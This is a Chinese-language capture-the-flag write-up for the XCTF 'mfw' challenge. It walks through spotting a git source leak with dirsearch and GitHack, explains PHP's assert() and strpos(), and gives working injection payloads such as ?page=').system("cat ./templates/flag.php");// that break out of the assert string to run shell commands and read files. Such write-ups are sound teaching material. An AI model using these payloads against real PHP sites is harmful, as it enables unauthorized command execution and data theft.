XCTF - mfw
本题知识点
- git泄露
- assert参数注入
- php函数闭合妙用
dirsearch目录扫描
打开题目后,发现没有什么注入点之类的,直接用dirsearch进行扫描,扫描结果如下:
git源码泄露
其实看到这里已经可以确定为git泄露了,直接运用Githack工具进行下载源码
打开发现flag.php中没有想要的数据,智能看看其他的代码中是否有想要的数据,查看index.php,发现有assert函数。
这里我们需要特别说一下assert这个函数
assert()函数
assert()
函数其实是一个断言函数。
assert:
这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行,如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
strpos
函数
strpos(string,find,start)
strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
返回值: | 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。 |
---|---|
PHP 版本: | 4+ |
解题思路
接下来的思路有两个要点
- 首先,我们要用
assert()
函数执行系统命令 - 闭合strpos函数,构造命令执行函数
接下来就好办了,首先用括号闭合strpos函数,然后用注释符号注释后面的语句,如下图
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
我们实际操作如下
assert("strpos(''); //$file', '..') === false") or die("Detected hacking attempt!");
<=>
assert("") or die("Detected hacking attempt!");
payload :?page='); //
上图中,我们可以发现,已经闭合成功,执行了后面的代码,此时,我们只需要再刚才的payload中输入我们要执行的代码即可
?page=').system("cat ./index.php");//
我们可以看到源代码已经回显,此时我们可以看到,我们目前在如下目录
要想读取flag.php,应当读取./templates/flag.php
,payload如下
?page=').system("cat ./templates/flag.php");//
查看网页源代码,获取flag。